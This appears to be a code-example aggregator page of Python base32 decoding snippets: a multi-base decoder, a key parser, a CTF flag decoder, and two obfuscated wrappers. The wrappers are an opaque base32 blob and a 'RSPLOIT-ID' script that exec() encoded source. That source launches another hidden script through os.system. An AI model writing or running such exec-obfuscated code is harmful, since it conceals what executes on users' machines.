ZF4MVFOCCLNGRJM3V2WIMJ4WUW2UQ7PEH36PSPVG545PVCBLMTZ3JDHABOF2ZUCDNGPNWRJ2ZIQKJOQ57WC76DT3X74URI6LJNBJWRUX74NWW5HZIGWNDZOTLCR4XR5RIYLZW4TTKTRA6KE6U4JP7BJZJMQF3IW4DYVPDXZJ3ZFSKRS4J4MHPGNDQWQJ6OO2BNTA74CE6ZAOHTRABMMXOCTNDF3SNGXZOUWDJTXHNMGTMHQJK7JRFVUTKCMZO4AJF7QWEQCCJFCLVVBMG7W4YUVCZAJUKCOVOFURMA4SXXELSOGMO3SPVLRFSJ6IYFFS4NSKWJY57FW3YAJGW5YGA36YHDYAG2MQD2YBVT3Z5FWRV2VESTWMEGG62AKFUXWXTUQRWGD44PXIR4N5Y65TVNDGLLG5ZD2E7QC2MXZGNY64BEHE7R33I46XVTCIFPH5A2FTH762VAEYGTTLUNTNYSITLIL2GRE2CLPFUMFQNLF3BFVLWZLJE6JQEQZZO5HUQZNJUHBD2PJFZJWRFITXFDNTR3AVPXFO4PTFT2V2AOLDWMX4JEFQ3K7EAYA6D6MLTYYVOQGYXDYEQ4CNRI4Q4JA4K6J44SCJAQW2WXCQ3QFARCRXHQYTAEIQCRNEAUCYTYMMRBM2BTMOA2KI4HRY6XZ5P6SWDPH5PBB42GZ4LRQBOPLAJPXAJQDZL2BV4IYB5XNUHAMT35WUMGPLBUQMUQ4E5FIJRDMDBTV6TRN733ELBEL2WHOOD2GFVFUL2OHFDKCLR4SLRH2ADWTFQ35T3AG5OFAFACQNTWSJFAUQBVOHJZBC6VCZ5NKS6DNFBOJC4UIOSYNNFUQW5R6OAQOSY7CASEDHEQ66W2QV7OOCCJK2WECVRPVULDU2OM7KFVSMKSW5PNNKNKG3KGVZ32QO2DQPLJPRGINVQDKBDX544XVRKWLPGQR5GHJQTB3VAOQIV3YTDUNIFNCLUXL2QJGPPH4SNVVABP4TRDLAB7QN6JUNTN4MOU2PHFGHITOJBEGFDHQMAFOZ4M3RFOAU5NTKGNY6R2QESBGELI4YOCY74DEFC4SCP4N3PWJFXTE576SDP7FDP72MNCPRZUQN6CXB23HPRJVWF2PDQYJFYSBZKSTFYKSTF2KZ3KBOHSCXBEENYJCLDJRPPHXIEMVN5GDPQ6DUW3JNSPP67IXYLC57OIPZL7JZFJ5QJS7W7MRTIRGGRBHUMJCYF4FEDMF2LSYLU7FQ72R3BJX7GUAXJFGA7KQYB4KRALVV6JM2YHNFWZZN6A5EMN2OWPDVHOBWPSNMM3L5FCNANEP6DMHUPWL6Y2SSDQ6KWQVCIKUWCJVWX374NHBEL2MDAQ7PSCIHUWJ3YDC6D2TMXP2FS5HULAIIUW7OYTBBU7UXT7RTGGBERT7TY4E7XCBXQWGAL5FXGPGB4YPWKESO2GLRHJHO6L7AYO6YQGYESVZ2ZFDE7NMXZLFHLF4I44NW36G7WBE7OZBUS64USWH3D4TRX2YD7QOKE5Y6OIER3SPVYU6OMMZS6Y2APMDPO46MH2C5WBQRVA6HXGTH4XJ6Y2MON2OQAUROMDEQSDBGLWREJFZIMUFLVG7HRUCQRHLO5SCYFK6PMDP42MDPM4FE4YABCV26MJ5PUIPKQCHBIJDQZ7RYCR67NSJP6J72FU7WOVU7D6Q5OFU7TRX54WN2WS4LJXS4RTG4T2G25WIWUDEDMX3F7G5LI5NNLHCMG3OC72VJSGTINDAYTIOZHMLWP22DFHN6BIE3N54WOJ2HLSDJKYOT5WSLPEHU3ELF3BJ2MWOVGTG2T5UHXJUMGGNKRMWOBXPHG2V443GE6V447R6TFNY43B6JGZIETLCT2UGR5D5SWFXLWW3PBJVHYZE5LONR5A7TVKIVF632EDPLAWPVODB4OCQ7NNWLNKXK7QGJP7MDZW5XNLKNOEMDIOTMSZI7HVSJUTJ6SEUHAGYK6RSBHO6NWRKX7VJW5KQP7ICZ4X5AH2POFPV3JI3QAKDB7D2MPCIQTEJ4QH47QNVZ2JZU2NLJK6LMR3LFO46XYW6WXXS5Q6HODGFCVLVIS36ERNSFOIZHC5S2ARQG7E6T7E5SD4PRHH6EO67JKBY4LVJL53DLJ7RAJPVBETGMPNX7S67ICTNDTR55WMYGDYC4TZAIKBZGN67L2DUF7IZTPZXOWXF7BSJFRNNRGUG3C5YBGQR75AFTTGQQBXKPFSNOXWKIKKNU3RB5WGIFM745VSYVAS4E2HZL66RSLOZ44BXIJJGJPWKM7T5YRMIXIHL3RCKYO4JWUEDDE3EEGSG2ZJ7MIARUOUGZOE2J23WUOQVJ3TCUAS7CNSCTVM62J6VAEVNHBDGF3QSA344XOPDCBAIKBGUCECGKUBLQPLOQOTRWDZ6GI64BGCILD3SSRUD45PWELVA7MRAASQS55MUBWRJK72DQBSQL3TXVREEK4MXBKJ5CVBEKHIUCKSOIZJZC5VIXCPCIYUP2NQ2ITYBCIMYRJBTNUQXSPOERQJBTQ5DDEE4PMQ3B2RTSGYMYGZBTCVYUQZXCSF6L6K4M4RUUAMQ3QFSLMLJE74VBTA3E63IEQZXDSH6L3TRQSI752EMDMQZRK4KIM3RZDPG4BFVC72FJZXMHLN4F3VWCUBV35ZBWHVY5R7O7XKJQO27ZHCWBV2MYUOHMXLR3D67LBZMB7IFK32CF3LRN5TVJ2MOY4UHI2XJOD255WHLB5T7HOZYMO3GVJRDBS6F4P3W7E5QT2BKLTNTOZ4TNMH3S7O3CWDFR6GV3PQ6HNOLEDC5UEOQGXNTCVYVQZPDWH57VAQWDX533EKYOW2ILXM7U7R3A25ZWR3D24KY7WIZBRSOZ5COBV2MYUOHMPLRLD6YSN3OYIBL3KCN6TDKAWK3S2JAL3EMCI6YPRVSG6PESL5TWCJB7ZXDCBWKMIUOJFPPRJDRNNCROK6SSJS6BLGZBZIGZH7755PV73CMKXHN5DVNIVTGUZ3PGWWE3TROXLV2XCKNIGYYXYZUOM3HU3OR7CYC3GMWXXA5465EMO5DBY35FNIFJZUFXEXLLLT5OHHU4JF45PXUZEA5XFOGVYLGPY7HR2KS2SS6FJPJXHRPC3FBLCUE4X47LKPJ5HMS4XG5KWK6TSV4UW4FPH4X4ZQSVLGMWBOC3TGON5FZ5XBSZSPWQLXDHPLHFEKQ357ZKHBILQVZ3BLGWVIFRMWSNZZKY2LNZVIXKR6WGTOV6P2VSMU6TETDFYG5I3V5A22BGMWHHJKVK5GVSVVXFQQAUGSY3CBMUNOVLKMD5Z3JEUCZT3PCWE4P32IS2AY32PNFZTF7FVGW5TWPN4LC62YVBUBXM7ENLFX4EJNAIB2X3UCVV377SJPHIFLKK5XMUNYX24LW5NU3BPBCK2OFNWXLIUKC6NCW3YAA4NBSQNX2NUR6XR2U3RYTA4VK7MK5CMMAZ2YUTNDYCNDYCLKI6RYCC6265773EL52J6THEJH7AI5DPVPPSXRBJNPGPK3QLXF2GZCM4CCHR4PIKWEKO2FSWOF75KRWNFJC6APOTQQ3SZEDP3ZM3TP5U7SQPTQLH3LAXWJQCWGMXNIEOVV4BBVCQ2HD5JJN6DFJ3FIGBGCOKL3IMDAU7EUZB6KPKZ4YTS6NRBMLETOZGLPNM5HHISRSDW6GSVAKZSWOUCPMOA4BRUTUHKFQT5XREHI4YTALOHQRD7MTFTPNXQACUYKOWMESKCV7JRDCOU7IBTE4KUKMUJRX5KW7CPTW72BA25FPQVYHGPU7YEPK2JW7OTLK2VNWJPXIWMFNXGU56OXDEQW5WRPXICJSFJ6DBKW4Q5BNYR55UXLOUBVG3O2N3EMKZETL6SDYQTXEAHTZLELVBKCS4YTODTKLCVTBZDJNDDHDGXGQIHNW4IICTOMXDIZTN2SGRRXGLTELZG5ZDD6SIEUECX7IJXKDHM2GLI6TZAFBOWK6NAL7EQUHIQHYXA2CCDYNU2BFZ5SJ4NUL6SFOOBNM2CL6R26KPHEZI3H4XPJDEXNHTJFCIBINB3O7YVYTTOPVP22WOMMY32H3EJNNKLKZENW6EK4HWDQLUET5P2O6O4VEVOVFOXC5MEZKP5L37V3N2YUWK3DL3WVUH5JVWJXDFXHFZNP2YB5O6VUMZUZKCE7RV44Y2OBWMKTXWSX62Q5ZEUDHZK3YVFAZ5NNBPUOSTBYSORGXTC55TDH5HDJJPMPQO6LVDXW7XI4CLSWK2VJVL7Q4D3SCFVXHN3RVYCEQSAHT54END45MLN5M6AUVKE3L2LL3CZY7UNCOR4PFCOW4VFNSGNF6OGFTY6EJ7OSRST7A4JTO2REHIWLVPYKBSXF6YAJTHX4YRFR2PZZULMVVB7KDPILNXVF5LHWY26EVKE3GC4MNMCTJ6V3BTUQ433T5CCJ4YS5Z6IVR74VS32LLPY5BWLE265EJXBRLVQ2TWRSY43555DFIYQY2J5TKJWM6OWR7HPAZPH7M42BDW54XTZYAYBUEWP45KPHKPWSZUHY4DTCO4XXTGMW2A2552PPILZHOLD436YWSKW7YGAZ44FXDPXNC7ABW4PXNU3UMXPZ372PP7MTE3SHIW7XHD7KGV7IH5ZZ457SKOJZUWOPKBV3GT6YTLO276GIAX232JPYDZA3UHSTUT265I74O3HN56QBX52NYAHOBEWOD3CSO7QU4YQZAPUEXRPVRG5BV62IC7NMD7PNNGNBKZIQS75MIVMHXRCYWRYIX6L2MXOVUEGV3225HL6Y3UA3YQ2D47Y5MGZM5FQZGBMIEZ7DNP2GHOCGQLBFAI722JVSCM4ZHFWRF5U4OP4MVLEEJH55CIBXFRI2KM6BDXTO76A624OHYB3PAX43IEOHSK54GX336WT47HT73KURH7KDTLHC5DK54QHN26L7XKQOS6KW4LZPRC32ONSXEQON7PFUXDWNKE36ZXVN2RZLHDL6JDUE6HUQQDHOBA252LWCTZDNXPCNCYCOKJ3MEK6VVVTJTC6XHCH7QWGFFEFGIYBNCQQ3TA6JWRIUA7OOOSPFK465JWL7BSTK7FYHCNA45N6KBYSAN74FOO33OXYJ7MGK2O73B4R7O3ZVKB3QUZC5M77R3U4ZC3NWNGGMX3F3W7G5TZ5OYPBLTW327NGSF7DYJV7HWLRTDWHSAP3TXOTSIPGLXLJ4ACJWX7K4L56GYTODPLSUR2YG4F6D45O66Q3TV3X2QPHLQ7TV5QOO7P6K4BOJ6C3T22APPH3XII73V4DPTDFGYEXBVWR6VLAZD4SD62OPPA37PIZY5YPCVDIEVMZTRQSKHPHLQJZFGFWSD6W466PXLBSDGMII7ZXUDLPSML5U466DUDMQTB5SPRKQMETR3Z26CGJNRNET73YPPH3VQZBTGGEOUTIOCR6T3JY54HIEZBXD7ET4SLDJQYDLO52EKIO23YKZFBHVL54YMQ5SHEP4SYQNF6LU7WLR4YOQNSHMPMSDYTMESHC5HHEKIMZNMF4TJ7MHD3Q5ATEF4PMSRYGJOR2WLGH3ZQJDTOFEPEBYLDCNF26MIURZW3ILZPX3NZ7EHIGZB6D3EUMB6L3X3NY7EHIEZB7D3EWOBQKFKL37A7ECR3SSB6KR3WVREFKVFFNNMPWH5WF5C5FGNTRHYB7AX7URSO5VX7K36CPEQRBXZVYE6MOMW5YJTT5XADYFYB2RODWCGHKY6ARYNZ63OCMUQ5Y7ODWGF4RN3K7UNQNGHN5CXXBABRIBWSMMGPMPE3DXMRBH3A6APGW5KCCXPV4IXNMOAC6REU7YIXGD4WPQIQGMXRPUWWJZ4T6ASJPBHPVGIX4BQD6RGUQX6HQBLNXX6A4CNRQ7EAYE74DYDHGH4DSDD6D2BV6YGOVET3EZ4GZR4SQW7UAQPHNQXLYI4MXE534HZ6G2XY3MWPS563FUIG3GLI4ULGQYILRG3NXT5V44LJRC3QBNCNZK2F6NZW3OIFLTQRTYIWTBV4WLLQ2IN4QUJHZ76WHZO4D4EVHLP73KVYGB5454X2BQ5U4Q2GQ3P6Y4ASU7PIREBZEBDIZUTIHPVNH3YQ37TE2OLX4BIDWTONA4EWX3VQ44T7ZS54G7IT73OMDYMO6NONIAPVUDCZ5W7GQ7U3QOW24C5SG3HPXXPY5NF54MBXTNXXUECIW6GXZYD4YPL6SYGJZ57KIARTWWWLHOBSSAE4X62ASXZEO7CX2P2ITIN4YMZBQN45GQJL2B3Z3A2W3Z4S77UCSDPSN2Z6FK5NQ7G6PUQUR4D5D5SNPQNS76K4V5TA3FPP7PCXRCGF5H4MURFUNURFUOB6Z5Q5PA4IZW7NKPXI53YUVKX5Y3U7CPLNABB7QCX6TMH3LKM6AO6JATP4STPQLWSDO55BBGPDMVEV7FASVG4M6GXAS7XNIAJXYOTAQLH5BWNPMOUEKIYBJUTHQTS23ACM7442JTYMDLR3CM6PJVDIQKH3BPQ7PQ3OS5OWOA3ITD774JA5N5GX57P326375WTLJWSUV34TAUNRLERBL777DQTIVPHTJ73DAUORHH7NE6EYVBMHW6HYYNCPQHWMJFVXPU62GK2U2EGREEL4DAI6QKNW3QPATHRL3V4TWRQZJD3M5HDTJSSHW3M2MUJ6WLXHHI74OOR7Y45D7RZ2H7DTUP6HHI74OOR7Y45D7RZ2H7DTUP6HHI7447ECRDYMIB3CL7V2WTHZKWN63ACHJMMFLG7NQDWQYUEKRCXNMAOFX4JARSF47TPSFXGPFBPEOOZ7ZX2DWN6LI3NCSVM35BK5ETNG4XTMZ4WA7Q5P2LDL2WRUL5WMWLHPRPHQRQ34WF64HPDPR2H7R3CEZQVWDSPA32YEXXZXZS33SEN72ETE7BJ7MGHGDPXM5S2DP2R7XJ6R5DPH7U4O52L66RXMP5TW2AH3O343I4NRPUSL67OWK4NP3LSG7FXTH2STBASG63AAOLGQ2LRH5RGFGGZSJ4FNVRUPXJQPFLYA6MRYT5OARPELGDTNWTBI4RO73KTRKKOPIX4UOXQEJBIH27CMWIV55DUIZKW3TK63PIJJM4XJ6GL7PPVMFJMHV6OD7U46GW2PCHMA7Z3U5MGLJSKY5IIBJV2RQCB6B5JO4NRQV5OK2ORFOQN2RYBPUCSIGG6O5GFRE76HXNM2KDCNGH47OFXLOKU7SC3LCIAMP7RY5G6ZVERTI4TXI4RP7T3LWHMMH7PLWVEXB3VGBXRPZHQO56AO24I6GHTUOC72ZZ2Z5T6S7FD472GZF5E6PNDQ5XKTNP27B65IKHKDUKYE4KIZEZUL6XOWUVJUJQGT7ISRSMWRI2Z6R7GB54H2VXMVVJGEJJC3BDPXJWFQGXQJVHBJ7T4SUH33XJU4R5MNBWOFRUGTYGNYWEY353BVTZ22KFA5G7ZL4GBL2HTVQSA7DJ25S4KHWZ3KVWVG6TVW42M3XZTQWLCICKJ4VFCUDMLQZJAIKEM34LGA4OLMQ4VV3WVK3VKNANLTEUDPUJXBQVL6IQESLWIKQX3SRPCN4EOQVL2R7ATIL57ZS5S7OYF5KE27Q4OOVUOUHW2SDNPINO2UVPBWK7RW2T7VJQRA6M7S2NGR7BPG76SAEF66QUWFUOQDM7V6ZRJG2RO5S2AWYVO7GLYFS2OYN2NPJTIJXC5AC6BJKV24GNBWBWNZ7UT2LWXMFBMBQ3V6VNVJLI5VIYAD4UJOC4P3YGBRLCK7LHQ2QAGR6QES4ROZAFWIDALIVUU7LO5U6FXQQEYUWZZSMTBWNXXFLRTR77ANYVPZ5SCJYR27RDSGZ45SLNRFHXVKKBP7D3VTBDIE3ZYLKA2C74IZRJ2E7GXC5CG6TOCEUYHR5UNXO3UMWKPUIUED4M7CVON6T5OC6T3FW7VGRVHMNIODTBTCLER5YSQQ4K5CQACVNDHEMQVPEWWNKB3KX2QV6IASGNN7EH2CKQ67TJEBYR6BAXNBY7RDWJP6A77T6TGUR6CNEDT6PYH7BFQSBEMH6KM7JAEQYVMCFE6KUQZ5STCPM4RNIXRS2OORTSAMYGK55TDQ4Z6GMFGLIDWG7WCI435ZT74QZFTTEONBJP4H6HL3CA2A===="
            ))))
Example #57
0
p = raw_input("input string to decode:")

while True:
    # Base16
    try:
        print "[?] using base16 deocde"
        n = base64.b16decode(p)
        print "[+] %s" % (n)
        p = n
        continue
    except:
        pass
    # Base32
    try:
        print "[?] using base32 deocde"
        n = base64.b32decode(p)
        print "[+] %s" % (n)
        p = n
        continue
    except:
        pass
    # Base64
    try:
        print "[?] using base64 deocde"
        n = base64.b64decode(p)
        print "[+] %s" % (n)
        p = n
        continue
    except:
        pass
    break
Example #58
0
def parse_b32_key(key):
    key = key.upper().replace(' ', '')
    key += '=' * (-len(key) % 8)  # Support unpadded
    return b32decode(key)
Example #59
0
#!/usr/bin/env python3
import base64

secretStr = "GUYDIMZVGQ2DMN3CGRQTONJXGM3TINLGG42DGMZXGM3TINLGGY4DGNBXGYZTGNLGGY3DGNBWMU3WI==="
result = base64.b32decode(secretStr)
flagList = [
    int(result[2 * i:2 * i + 2], 16) for i in range(int(len(result) / 2))
]
flag = ''.join([chr(i) for i in flagList])
print(flag)
Example #60
0
# Mau Source Code ?
# Subscribe Channel Youtube Dan Follow Github Gua Dulu Dong Slur !!!
# Github  :  https://github.com/RSPLOIT-ID
# Youtube :  Rsploit Official
# Udah Langsung Inbox Gua Di > 082259177732

import base64
exec(
    base64.b32decode(
        "EMQEQYLZPF2SATLBOUQE4Z3FOJSWG33EMUQFSYJAH4FCGICUOVVWC3THEBJGKY3PMRSSAS3PNZ2G63BMEBCWY5JAIVSGS5BAJZUSARTJNRSSATLBNVYG64ZAJR2QUIZAJVQXI2JAJRXSAQLONJUW4ZZAEEQSCIBKL4VAUCTJNVYG64TUEBXXGCTPOMXHG6LTORSW2KBCOB4XI2DPNYZCALTFPBSWGIRJBI======"
    ))